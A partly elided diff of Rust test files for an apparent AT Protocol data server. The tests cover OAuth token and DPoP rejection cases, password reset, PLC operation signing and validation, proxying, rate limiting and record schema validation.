     assert_eq!(bob_posts[0]["value"]["text"], "Bob's different thoughts");
 }
+
 #[tokio::test]
 async fn test_oauth_token_works_with_sync_endpoints() {
     let url = base_url().await;

tests/oauth_security.rs

···
 use sha2::{Digest, Sha256};
 use wiremock::{Mock, MockServer, ResponseTemplate};
 use wiremock::matchers::{method, path};
+
 fn no_redirect_client() -> reqwest::Client {
     reqwest::Client::builder()
         .redirect(redirect::Policy::none())
         .build()
         .unwrap()
 }
+
 fn generate_pkce() -> (String, String) {
     let verifier_bytes: [u8; 32] = rand::random();
     let code_verifier = URL_SAFE_NO_PAD.encode(verifier_bytes);
···
     let code_challenge = URL_SAFE_NO_PAD.encode(&hash);
     (code_verifier, code_challenge)
 }
+
 async fn setup_mock_client_metadata(redirect_uri: &str) -> MockServer {
     let mock_server = MockServer::start().await;
     let client_id = mock_server.uri();
···
         .await;
     mock_server
 }
+
 async fn get_oauth_tokens(
     http_client: &reqwest::Client,
     url: &str,
···
     let refresh_token = token_body["refresh_token"].as_str().unwrap().to_string();
     (access_token, refresh_token, client_id)
 }
+
 #[tokio::test]
 async fn test_security_forged_token_signature_rejected() {
     let url = base_url().await;
···
         .unwrap();
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED, "Forged signature should be rejected");
 }
+
 #[tokio::test]
 async fn test_security_modified_payload_rejected() {
     let url = base_url().await;
···
         .unwrap();
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED, "Modified payload should be rejected");
 }
+
 #[tokio::test]
 async fn test_security_algorithm_none_attack_rejected() {
     let url = base_url().await;
···
         .unwrap();
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED, "Algorithm 'none' attack should be rejected");
 }
+
 #[tokio::test]
 async fn test_security_algorithm_substitution_attack_rejected() {
     let url = base_url().await;
···
         .unwrap();
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED, "Algorithm substitution attack should be rejected");
 }
+
 #[tokio::test]
 async fn test_security_expired_token_rejected() {
     let url = base_url().await;
···
         .unwrap();
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED, "Expired token should be rejected");
 }
+
 #[tokio::test]
 async fn test_security_pkce_plain_method_rejected() {
     let url = base_url().await;
···
         "Error should mention S256 requirement"
     );
 }
+
 #[tokio::test]
 async fn test_security_pkce_missing_challenge_rejected() {
     let url = base_url().await;
···
         .unwrap();
     assert_eq!(res.status(), StatusCode::BAD_REQUEST, "Missing PKCE challenge should be rejected");
 }
+
 #[tokio::test]
 async fn test_security_pkce_wrong_verifier_rejected() {
     let url = base_url().await;
···
     let body: Value = token_res.json().await.unwrap();
     assert_eq!(body["error"], "invalid_grant");
 }
+
 #[tokio::test]
 async fn test_security_authorization_code_replay_attack() {
     let url = base_url().await;
···
     let body: Value = replay_res.json().await.unwrap();
     assert_eq!(body["error"], "invalid_grant");
 }
+
 #[tokio::test]
 async fn test_security_refresh_token_replay_attack() {
     let url = base_url().await;
···
         "Token family should be revoked after replay detection"
     );
 }
+
 #[tokio::test]
 async fn test_security_redirect_uri_manipulation() {
     let url = base_url().await;
···
         .unwrap();
     assert_eq!(res.status(), StatusCode::BAD_REQUEST, "Unregistered redirect_uri should be rejected");
 }
+
 #[tokio::test]
 async fn test_security_deactivated_account_blocked() {
     let url = base_url().await;
···
     let body: Value = auth_res.json().await.unwrap();
     assert_eq!(body["error"], "access_denied");
 }
+
 #[tokio::test]
 async fn test_security_url_injection_in_state_parameter() {
     let url = base_url().await;
···
         location
     );
 }
+
 #[tokio::test]
 async fn test_security_cross_client_token_theft() {
     let url = base_url().await;
···
         "Error should mention client_id mismatch"
     );
 }
+
 #[test]
 fn test_security_dpop_nonce_tamper_detection() {
     let secret = b"test-dpop-secret-32-bytes-long!!";
···
     let result = verifier.validate_nonce(&tampered_nonce);
     assert!(result.is_err(), "Tampered nonce should be rejected");
 }
+
 #[test]
 fn test_security_dpop_nonce_cross_server_rejected() {
     let secret1 = b"server-1-secret-32-bytes-long!!!";
···
     let result = verifier2.validate_nonce(&nonce_from_server1);
     assert!(result.is_err(), "Nonce from different server should be rejected");
 }
+
 #[test]
 fn test_security_dpop_proof_signature_tampering() {
     use p256::ecdsa::{SigningKey, Signature, signature::Signer};
···
     let result = verifier.verify_proof(&tampered_proof, "POST", "https://example.com/token", None);
     assert!(result.is_err(), "Tampered DPoP signature should be rejected");
 }
+
 #[test]
 fn test_security_dpop_proof_key_substitution() {
     use p256::ecdsa::{SigningKey, Signature, signature::Signer};
···
     let result = verifier.verify_proof(&mismatched_proof, "POST", "https://example.com/token", None);
     assert!(result.is_err(), "DPoP proof with mismatched key should be rejected");
 }
+
 #[test]
 fn test_security_jwk_thumbprint_consistency() {
     let jwk = DPoPJwk {
···
         assert_eq!(first, result, "Thumbprint should be deterministic, but iteration {} differs", i);
     }
 }
+
 #[test]
 fn test_security_dpop_iat_clock_skew_limits() {
     use p256::ecdsa::{SigningKey, Signature, signature::Signer};
···
         }
     }
 }
+
 #[test]
 fn test_security_dpop_method_case_insensitivity() {
     use p256::ecdsa::{SigningKey, Signature, signature::Signer};
···
     let result = verifier.verify_proof(&proof, "POST", "https://example.com/token", None);
     assert!(result.is_ok(), "HTTP method comparison should be case-insensitive");
 }
+
 #[tokio::test]
 async fn test_security_invalid_grant_type_rejected() {
     let url = base_url().await;
···
         );
     }
 }
+
 #[tokio::test]
 async fn test_security_token_with_wrong_typ_rejected() {
     let url = base_url().await;
···
         );
     }
 }
+
 #[tokio::test]
 async fn test_security_missing_required_claims_rejected() {
     let url = base_url().await;
···
         );
     }
 }
+
 #[tokio::test]
 async fn test_security_malformed_tokens_rejected() {
     let url = base_url().await;
···
         );
     }
 }
+
 #[tokio::test]
 async fn test_security_authorization_header_formats() {
     let url = base_url().await;
···
         );
     }
 }
+
 #[tokio::test]
 async fn test_security_no_authorization_header() {
     let url = base_url().await;
···
         .unwrap();
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED, "Missing auth header should return 401");
 }
+
 #[tokio::test]
 async fn test_security_empty_authorization_header() {
     let url = base_url().await;
···
         .unwrap();
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED, "Empty auth header should return 401");
 }
+
 #[tokio::test]
 async fn test_security_revoked_token_rejected() {
     let url = base_url().await;
···
     let introspect_body: Value = introspect_res.json().await.unwrap();
     assert_eq!(introspect_body["active"], false, "Revoked token should be inactive");
 }
+
 #[tokio::test]
 #[ignore = "rate limiting is disabled in test environment"]
 async fn test_security_oauth_authorize_rate_limiting() {
···
         rate_limited_count
     );
 }
+
 fn create_dpop_proof(
     method: &str,
     uri: &str,
···
     let signature_b64 = URL_SAFE_NO_PAD.encode(signature.to_bytes());
     format!("{}.{}", signing_input, signature_b64)
 }
+
 #[test]
 fn test_dpop_nonce_generation() {
     let secret = b"test-dpop-secret-32-bytes-long!!";
···
     assert!(!nonce1.is_empty());
     assert!(!nonce2.is_empty());
 }
+
 #[test]
 fn test_dpop_nonce_validation_success() {
     let secret = b"test-dpop-secret-32-bytes-long!!";
···
     let result = verifier.validate_nonce(&nonce);
     assert!(result.is_ok(), "Valid nonce should pass: {:?}", result);
 }
+
 #[test]
 fn test_dpop_nonce_wrong_secret() {
     let secret1 = b"test-dpop-secret-32-bytes-long!!";
···
     let result = verifier2.validate_nonce(&nonce);
     assert!(result.is_err(), "Nonce from different secret should fail");
 }
+
 #[test]
 fn test_dpop_nonce_invalid_format() {
     let secret = b"test-dpop-secret-32-bytes-long!!";
···
     assert!(verifier.validate_nonce("").is_err());
     assert!(verifier.validate_nonce("!!!not-base64!!!").is_err());
 }
+
 #[test]
 fn test_jwk_thumbprint_ec_p256() {
     let jwk = DPoPJwk {
···
     assert!(!tp.is_empty());
     assert!(tp.chars().all(|c| c.is_alphanumeric() || c == '-' || c == '_'));
 }
+
 #[test]
 fn test_jwk_thumbprint_ec_secp256k1() {
     let jwk = DPoPJwk {
···
     let thumbprint = compute_jwk_thumbprint(&jwk);
     assert!(thumbprint.is_ok());
 }
+
 #[test]
 fn test_jwk_thumbprint_okp_ed25519() {
     let jwk = DPoPJwk {
···
     let thumbprint = compute_jwk_thumbprint(&jwk);
     assert!(thumbprint.is_ok());
 }
+
 #[test]
 fn test_jwk_thumbprint_missing_crv() {
     let jwk = DPoPJwk {
···
     let thumbprint = compute_jwk_thumbprint(&jwk);
     assert!(thumbprint.is_err());
 }
+
 #[test]
 fn test_jwk_thumbprint_missing_x() {
     let jwk = DPoPJwk {
···
     let thumbprint = compute_jwk_thumbprint(&jwk);
     assert!(thumbprint.is_err());
 }
+
 #[test]
 fn test_jwk_thumbprint_missing_y_for_ec() {
     let jwk = DPoPJwk {
···
     let thumbprint = compute_jwk_thumbprint(&jwk);
     assert!(thumbprint.is_err());
 }
+
 #[test]
 fn test_jwk_thumbprint_unsupported_key_type() {
     let jwk = DPoPJwk {
···
     let thumbprint = compute_jwk_thumbprint(&jwk);
     assert!(thumbprint.is_err());
 }
+
 #[test]
 fn test_jwk_thumbprint_deterministic() {
     let jwk = DPoPJwk {
···
     let tp2 = compute_jwk_thumbprint(&jwk).unwrap();
     assert_eq!(tp1, tp2, "Thumbprint should be deterministic");
 }
+
 #[test]
 fn test_dpop_proof_invalid_format() {
     let secret = b"test-dpop-secret-32-bytes-long!!";
···
     let result = verifier.verify_proof("invalid", "POST", "https://example.com", None);
     assert!(result.is_err());
 }
+
 #[test]
 fn test_dpop_proof_invalid_typ() {
     let secret = b"test-dpop-secret-32-bytes-long!!";
···
     let result = verifier.verify_proof(&proof, "POST", "https://example.com", None);
     assert!(result.is_err());
 }
+
 #[test]
 fn test_dpop_proof_method_mismatch() {
     let secret = b"test-dpop-secret-32-bytes-long!!";
···
     let result = verifier.verify_proof(&proof, "GET", "https://example.com/token", None);
     assert!(result.is_err());
 }
+
 #[test]
 fn test_dpop_proof_uri_mismatch() {
     let secret = b"test-dpop-secret-32-bytes-long!!";
···
     let result = verifier.verify_proof(&proof, "POST", "https://other.com/token", None);
     assert!(result.is_err());
 }
+
 #[test]
 fn test_dpop_proof_iat_too_old() {
     let secret = b"test-dpop-secret-32-bytes-long!!";
···
     let result = verifier.verify_proof(&proof, "POST", "https://example.com/token", None);
     assert!(result.is_err());
 }
+
 #[test]
 fn test_dpop_proof_iat_future() {
     let secret = b"test-dpop-secret-32-bytes-long!!";
···
     let result = verifier.verify_proof(&proof, "POST", "https://example.com/token", None);
     assert!(result.is_err());
 }
+
 #[test]
 fn test_dpop_proof_ath_mismatch() {
     let secret = b"test-dpop-secret-32-bytes-long!!";
···
     );
     assert!(result.is_err());
 }
+
 #[test]
 fn test_dpop_proof_missing_ath_when_required() {
     let secret = b"test-dpop-secret-32-bytes-long!!";
···
     );
     assert!(result.is_err());
 }
+
 #[test]
 fn test_dpop_proof_uri_ignores_query_params() {
     let secret = b"test-dpop-secret-32-bytes-long!!";

tests/password_reset.rs

···
 use serde_json::{json, Value};
 use sqlx::PgPool;
 use helpers::verify_new_account;
+
 async fn get_pool() -> PgPool {
     let conn_str = common::get_db_connection_string().await;
     sqlx::postgres::PgPoolOptions::new()
···
         .await
         .expect("Failed to connect to test database")
 }
+
 #[tokio::test]
 async fn test_request_password_reset_creates_code() {
     let client = common::client();
···
     assert!(code.contains('-'));
     assert_eq!(code.len(), 11);
 }
+
 #[tokio::test]
 async fn test_request_password_reset_unknown_email_returns_ok() {
     let client = common::client();
···
         .expect("Failed to request password reset");
     assert_eq!(res.status(), StatusCode::OK);
 }
+
 #[tokio::test]
 async fn test_reset_password_with_valid_token() {
     let client = common::client();
···
         .expect("Failed to login attempt");
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_reset_password_with_invalid_token() {
     let client = common::client();
···
     let body: Value = res.json().await.expect("Invalid JSON");
     assert_eq!(body["error"], "InvalidToken");
 }
+
 #[tokio::test]
 async fn test_reset_password_with_expired_token() {
     let client = common::client();
···
     let body: Value = res.json().await.expect("Invalid JSON");
     assert_eq!(body["error"], "ExpiredToken");
 }
+
 #[tokio::test]
 async fn test_reset_password_invalidates_sessions() {
     let client = common::client();
···
         .expect("Failed to get session");
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_request_password_reset_empty_email() {
     let client = common::client();
···
     let body: Value = res.json().await.expect("Invalid JSON");
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_reset_password_creates_notification() {
     let pool = get_pool().await;

tests/plc_migration.rs

···
 use sqlx::PgPool;
 use wiremock::matchers::{method, path};
 use wiremock::{Mock, MockServer, ResponseTemplate};
+
 fn encode_uvarint(mut x: u64) -> Vec<u8> {
     let mut out = Vec::new();
     while x >= 0x80 {
···
     out.push(x as u8);
     out
 }
+
 fn signing_key_to_did_key(signing_key: &SigningKey) -> String {
     let verifying_key = signing_key.verifying_key();
     let point = verifying_key.to_encoded_point(true);
···
     let encoded = multibase::encode(multibase::Base::Base58Btc, &prefixed);
     format!("did:key:{}", encoded)
 }
+
 fn get_multikey_from_signing_key(signing_key: &SigningKey) -> String {
     let public_key = signing_key.verifying_key();
     let compressed = public_key.to_sec1_bytes();
···
     buf.extend_from_slice(&compressed);
     multibase::encode(multibase::Base::Base58Btc, buf)
 }
+
 async fn get_user_signing_key(did: &str) -> Option<Vec<u8>> {
     let db_url = get_db_connection_string().await;
     let pool = PgPool::connect(&db_url).await.ok()?;
···
     .ok()??;
     bspds::config::decrypt_key(&row.key_bytes, row.encryption_version).ok()
 }
+
 async fn get_plc_token_from_db(did: &str) -> Option<String> {
     let db_url = get_db_connection_string().await;
     let pool = PgPool::connect(&db_url).await.ok()?;
···
     .await
     .ok()?
 }
+
 async fn get_user_handle(did: &str) -> Option<String> {
     let db_url = get_db_connection_string().await;
     let pool = PgPool::connect(&db_url).await.ok()?;
···
     .await
     .ok()?
 }
+
 fn create_mock_last_op(
     _did: &str,
     handle: &str,
···
         "sig": "mock_signature_for_testing"
     })
 }
+
 fn create_did_document(did: &str, handle: &str, signing_key: &SigningKey, pds_endpoint: &str) -> Value {
     let multikey = get_multikey_from_signing_key(signing_key);
     json!({
···
         }]
     })
 }
+
 async fn setup_mock_plc_for_sign(
     did: &str,
     handle: &str,
···
         .await;
     mock_server
 }
+
 async fn setup_mock_plc_for_submit(
     did: &str,
     handle: &str,
···
         .await;
     mock_server
 }
+
 #[tokio::test]
 #[ignore = "requires mock PLC server setup that is flaky; run manually with --ignored"]
 async fn test_full_plc_operation_flow() {
···
     assert_eq!(operation.get("type").and_then(|v| v.as_str()), Some("plc_operation"));
     assert!(operation.get("prev").is_some(), "Operation should have prev reference");
 }
+
 #[tokio::test]
 #[ignore = "requires exclusive env var access; run with: cargo test test_sign_plc_operation_consumes_token -- --ignored --test-threads=1"]
 async fn test_sign_plc_operation_consumes_token() {
···
         "Error should indicate invalid/expired token"
     );
 }
+
 #[tokio::test]
 async fn test_sign_plc_operation_with_custom_fields() {
     let client = client();
···
     assert_eq!(also_known_as.unwrap().len(), 2, "Should have 2 aliases");
     assert_eq!(rotation_keys.unwrap().len(), 2, "Should have 2 rotation keys");
 }
+
 #[tokio::test]
 #[ignore = "requires mock PLC server setup that is flaky; run manually with --ignored"]
 async fn test_submit_plc_operation_success() {
···
         submit_body
     );
 }
+
 #[tokio::test]
 async fn test_submit_plc_operation_wrong_endpoint_rejected() {
     let client = client();
···
     let body: Value = submit_res.json().await.unwrap();
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_submit_plc_operation_wrong_signing_key_rejected() {
     let client = client();
···
     let body: Value = submit_res.json().await.unwrap();
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_full_sign_and_submit_flow() {
     let client = client();
···
         submit_body
     );
 }
+
 #[tokio::test]
 async fn test_cross_pds_migration_with_records() {
     let client = client();
···
         "Record content should match"
     );
 }
+
 #[tokio::test]
 async fn test_migration_rejects_wrong_did_document() {
     let client = client();
···
         "Error should mention signature verification failure"
     );
 }
+
 #[tokio::test]
 #[ignore = "requires exclusive env var access; run with: cargo test test_full_migration_flow_end_to_end -- --ignored --test-threads=1"]
 async fn test_full_migration_flow_end_to_end() {

tests/plc_operations.rs

···
 use reqwest::StatusCode;
 use serde_json::json;
 use sqlx::PgPool;
+
 #[tokio::test]
 async fn test_request_plc_operation_signature_requires_auth() {
     let client = client();
···
         .expect("Request failed");
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_request_plc_operation_signature_success() {
     let client = client();
···
         .expect("Request failed");
     assert_eq!(res.status(), StatusCode::OK);
 }
+
 #[tokio::test]
 async fn test_sign_plc_operation_requires_auth() {
     let client = client();
···
         .expect("Request failed");
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_sign_plc_operation_requires_token() {
     let client = client();
···
     let body: serde_json::Value = res.json().await.unwrap();
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_sign_plc_operation_invalid_token() {
     let client = client();
···
     let body: serde_json::Value = res.json().await.unwrap();
     assert!(body["error"] == "InvalidToken" || body["error"] == "ExpiredToken");
 }
+
 #[tokio::test]
 async fn test_submit_plc_operation_requires_auth() {
     let client = client();
···
         .expect("Request failed");
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_submit_plc_operation_invalid_operation() {
     let client = client();
···
     let body: serde_json::Value = res.json().await.unwrap();
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_submit_plc_operation_missing_sig() {
     let client = client();
···
     let body: serde_json::Value = res.json().await.unwrap();
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_submit_plc_operation_wrong_service_endpoint() {
     let client = client();
···
         .expect("Request failed");
     assert_eq!(res.status(), StatusCode::BAD_REQUEST);
 }
+
 #[tokio::test]
 async fn test_request_plc_operation_creates_token_in_db() {
     let client = client();
···
     assert!(row.token.contains('-'), "Token should contain hyphen");
     assert!(row.expires_at > chrono::Utc::now(), "Token should not be expired");
 }
+
 #[tokio::test]
 async fn test_request_plc_operation_replaces_existing_token() {
     let client = client();
···
     .expect("Count query failed");
     assert_eq!(count, 1, "Should only have one token per user");
 }
+
 #[tokio::test]
 async fn test_submit_plc_operation_wrong_verification_method() {
     let client = client();
···
         body
     );
 }
+
 #[tokio::test]
 async fn test_submit_plc_operation_wrong_handle() {
     let client = client();
···
     let body: serde_json::Value = res.json().await.unwrap();
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_submit_plc_operation_wrong_service_type() {
     let client = client();
···
     let body: serde_json::Value = res.json().await.unwrap();
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_plc_token_expiry_format() {
     let client = client();

tests/plc_validation.rs

···
 use k256::ecdsa::SigningKey;
 use serde_json::json;
 use std::collections::HashMap;
+
 fn create_valid_operation() -> serde_json::Value {
     let key = SigningKey::random(&mut rand::thread_rng());
     let did_key = signing_key_to_did_key(&key);
···
     });
     sign_operation(&op, &key).unwrap()
 }
+
 #[test]
 fn test_validate_plc_operation_valid() {
     let op = create_valid_operation();
     let result = validate_plc_operation(&op);
     assert!(result.is_ok());
 }
+
 #[test]
 fn test_validate_plc_operation_missing_type() {
     let op = json!({
···
     let result = validate_plc_operation(&op);
     assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("Missing type")));
 }
+
 #[test]
 fn test_validate_plc_operation_invalid_type() {
     let op = json!({
···
     let result = validate_plc_operation(&op);
     assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("Invalid type")));
 }
+
 #[test]
 fn test_validate_plc_operation_missing_sig() {
     let op = json!({
···
     let result = validate_plc_operation(&op);
     assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("Missing sig")));
 }
+
 #[test]
 fn test_validate_plc_operation_missing_rotation_keys() {
     let op = json!({
···
     let result = validate_plc_operation(&op);
     assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("rotationKeys")));
 }
+
 #[test]
 fn test_validate_plc_operation_missing_verification_methods() {
     let op = json!({
···
     let result = validate_plc_operation(&op);
     assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("verificationMethods")));
 }
+
 #[test]
 fn test_validate_plc_operation_missing_also_known_as() {
     let op = json!({
···
     let result = validate_plc_operation(&op);
     assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("alsoKnownAs")));
 }
+
 #[test]
 fn test_validate_plc_operation_missing_services() {
     let op = json!({
···
     let result = validate_plc_operation(&op);
     assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("services")));
 }
+
 #[test]
 fn test_validate_rotation_key_required() {
     let key = SigningKey::random(&mut rand::thread_rng());
···
     let result = validate_plc_operation_for_submission(&op, &ctx);
     assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("rotation key")));
 }
+
 #[test]
 fn test_validate_signing_key_match() {
     let key = SigningKey::random(&mut rand::thread_rng());
···
     let result = validate_plc_operation_for_submission(&op, &ctx);
     assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("signing key")));
 }
+
 #[test]
 fn test_validate_handle_match() {
     let key = SigningKey::random(&mut rand::thread_rng());
···
     let result = validate_plc_operation_for_submission(&op, &ctx);
     assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("handle")));
 }
+
 #[test]
 fn test_validate_pds_service_type() {
     let key = SigningKey::random(&mut rand::thread_rng());
···
     let result = validate_plc_operation_for_submission(&op, &ctx);
     assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("type")));
 }
+
 #[test]
 fn test_validate_pds_endpoint_match() {
     let key = SigningKey::random(&mut rand::thread_rng());
···
     let result = validate_plc_operation_for_submission(&op, &ctx);
     assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("endpoint")));
 }
+
 #[test]
 fn test_verify_signature_secp256k1() {
     let key = SigningKey::random(&mut rand::thread_rng());
···
     assert!(result.is_ok());
     assert!(result.unwrap());
 }
+
 #[test]
 fn test_verify_signature_wrong_key() {
     let key = SigningKey::random(&mut rand::thread_rng());
···
     assert!(result.is_ok());
     assert!(!result.unwrap());
 }
+
 #[test]
 fn test_verify_signature_invalid_did_key_format() {
     let key = SigningKey::random(&mut rand::thread_rng());
···
     assert!(result.is_ok());
     assert!(!result.unwrap());
 }
+
 #[test]
 fn test_tombstone_validation() {
     let op = json!({
···
     let result = validate_plc_operation(&op);
     assert!(result.is_ok());
 }
+
 #[test]
 fn test_cid_for_cbor_deterministic() {
     let value = json!({
···
     assert_eq!(cid1, cid2, "CID generation should be deterministic");
     assert!(cid1.starts_with("bafyrei"), "CID should start with bafyrei (dag-cbor + sha256)");
 }
+
 #[test]
 fn test_cid_different_for_different_data() {
     let value1 = json!({"data": 1});
···
     let cid2 = cid_for_cbor(&value2).unwrap();
     assert_ne!(cid1, cid2, "Different data should produce different CIDs");
 }
+
 #[test]
 fn test_signing_key_to_did_key_format() {
     let key = SigningKey::random(&mut rand::thread_rng());
···
     assert!(did_key.starts_with("did:key:z"), "Should start with did:key:z");
     assert!(did_key.len() > 50, "Did key should be reasonably long");
 }
+
 #[test]
 fn test_signing_key_to_did_key_unique() {
     let key1 = SigningKey::random(&mut rand::thread_rng());
···
     let did2 = signing_key_to_did_key(&key2);
     assert_ne!(did1, did2, "Different keys should produce different did:keys");
 }
+
 #[test]
 fn test_signing_key_to_did_key_consistent() {
     let key = SigningKey::random(&mut rand::thread_rng());
···
     let did2 = signing_key_to_did_key(&key);
     assert_eq!(did1, did2, "Same key should produce same did:key");
 }
+
 #[test]
 fn test_sign_operation_removes_existing_sig() {
     let key = SigningKey::random(&mut rand::thread_rng());
···
     let new_sig = signed.get("sig").and_then(|v| v.as_str()).unwrap();
     assert_ne!(new_sig, "old_signature", "Should replace old signature");
 }
+
 #[test]
 fn test_validate_plc_operation_not_object() {
     let result = validate_plc_operation(&json!("not an object"));
     assert!(matches!(result, Err(PlcError::InvalidResponse(_))));
 }
+
 #[test]
 fn test_validate_for_submission_tombstone_passes() {
     let key = SigningKey::random(&mut rand::thread_rng());
···
     let result = validate_plc_operation_for_submission(&op, &ctx);
     assert!(result.is_ok(), "Tombstone should pass submission validation");
 }
+
 #[test]
 fn test_verify_signature_missing_sig() {
     let op = json!({
···
     let result = verify_operation_signature(&op, &[]);
     assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("sig")));
 }
+
 #[test]
 fn test_verify_signature_invalid_base64() {
     let op = json!({
···
     let result = verify_operation_signature(&op, &[]);
     assert!(matches!(result, Err(PlcError::InvalidResponse(_))));
 }
+
 #[test]
 fn test_plc_operation_struct() {
     let mut services = HashMap::new();

tests/proxy.rs

···
 use reqwest::Client;
 use std::sync::Arc;
 use tokio::net::TcpListener;
+
 async fn spawn_mock_upstream() -> (
     String,
     tokio::sync::mpsc::Receiver<(String, String, Option<String>)>,
···
     });
     (format!("http://{}", addr), rx)
 }
+
 #[tokio::test]
 async fn test_proxy_via_header() {
     let app_url = common::base_url().await;
···
     assert_eq!(uri, "/xrpc/com.example.test");
     assert_eq!(auth, Some("Bearer test-token".to_string()));
 }
+
 #[tokio::test]
 async fn test_proxy_auth_signing() {
     let app_url = common::base_url().await;
···
     assert_eq!(claims["aud"], upstream_url);
     assert_eq!(claims["lxm"], "com.example.signed");
 }
+
 #[tokio::test]
 async fn test_proxy_post_with_body() {
     let app_url = common::base_url().await;
···
     assert_eq!(uri, "/xrpc/com.example.postMethod");
     assert_eq!(auth, Some("Bearer test-token".to_string()));
 }
+
 #[tokio::test]
 async fn test_proxy_with_query_params() {
     let app_url = common::base_url().await;

tests/rate_limit.rs

···
 use common::{base_url, client};
 use reqwest::StatusCode;
 use serde_json::json;
+
 #[tokio::test]
 #[ignore = "rate limiting is disabled in test environment"]
 async fn test_login_rate_limiting() {
···
         rate_limited_count
     );
 }
+
 #[tokio::test]
 #[ignore = "rate limiting is disabled in test environment"]
 async fn test_password_reset_rate_limiting() {
···
         success_count
     );
 }
+
 #[tokio::test]
 #[ignore = "rate limiting is disabled in test environment"]
 async fn test_account_creation_rate_limiting() {
···
         rate_limited_count
     );
 }
+
 #[tokio::test]
 async fn test_valkey_connection() {
     if std::env::var("VALKEY_URL").is_err() {
···
         .await
         .expect("DEL failed");
 }
+
 #[tokio::test]
 async fn test_distributed_rate_limiter_directly() {
     if std::env::var("VALKEY_URL").is_err() {

tests/record_validation.rs

···
 use bspds::validation::{RecordValidator, ValidationError, ValidationStatus, validate_record_key, validate_collection_nsid};
 use serde_json::json;
+
 fn now() -> String {
     chrono::Utc::now().to_rfc3339()
 }
+
 #[test]
 fn test_validate_post_valid() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&post, "app.bsky.feed.post");
     assert_eq!(result.unwrap(), ValidationStatus::Valid);
 }
+
 #[test]
 fn test_validate_post_missing_text() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&post, "app.bsky.feed.post");
     assert!(matches!(result, Err(ValidationError::MissingField(f)) if f == "text"));
 }
+
 #[test]
 fn test_validate_post_missing_created_at() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&post, "app.bsky.feed.post");
     assert!(matches!(result, Err(ValidationError::MissingField(f)) if f == "createdAt"));
 }
+
 #[test]
 fn test_validate_post_text_too_long() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&post, "app.bsky.feed.post");
     assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "text"));
 }
+
 #[test]
 fn test_validate_post_text_at_limit() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&post, "app.bsky.feed.post");
     assert_eq!(result.unwrap(), ValidationStatus::Valid);
 }
+
 #[test]
 fn test_validate_post_too_many_langs() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&post, "app.bsky.feed.post");
     assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "langs"));
 }
+
 #[test]
 fn test_validate_post_three_langs_ok() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&post, "app.bsky.feed.post");
     assert_eq!(result.unwrap(), ValidationStatus::Valid);
 }
+
 #[test]
 fn test_validate_post_too_many_tags() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&post, "app.bsky.feed.post");
     assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "tags"));
 }
+
 #[test]
 fn test_validate_post_eight_tags_ok() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&post, "app.bsky.feed.post");
     assert_eq!(result.unwrap(), ValidationStatus::Valid);
 }
+
 #[test]
 fn test_validate_post_tag_too_long() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&post, "app.bsky.feed.post");
     assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path.starts_with("tags/")));
 }
+
 #[test]
 fn test_validate_profile_valid() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&profile, "app.bsky.actor.profile");
     assert_eq!(result.unwrap(), ValidationStatus::Valid);
 }
+
 #[test]
 fn test_validate_profile_empty_ok() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&profile, "app.bsky.actor.profile");
     assert_eq!(result.unwrap(), ValidationStatus::Valid);
 }
+
 #[test]
 fn test_validate_profile_displayname_too_long() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&profile, "app.bsky.actor.profile");
     assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "displayName"));
 }
+
 #[test]
 fn test_validate_profile_description_too_long() {
     let validator = RecordValidator::new();
···
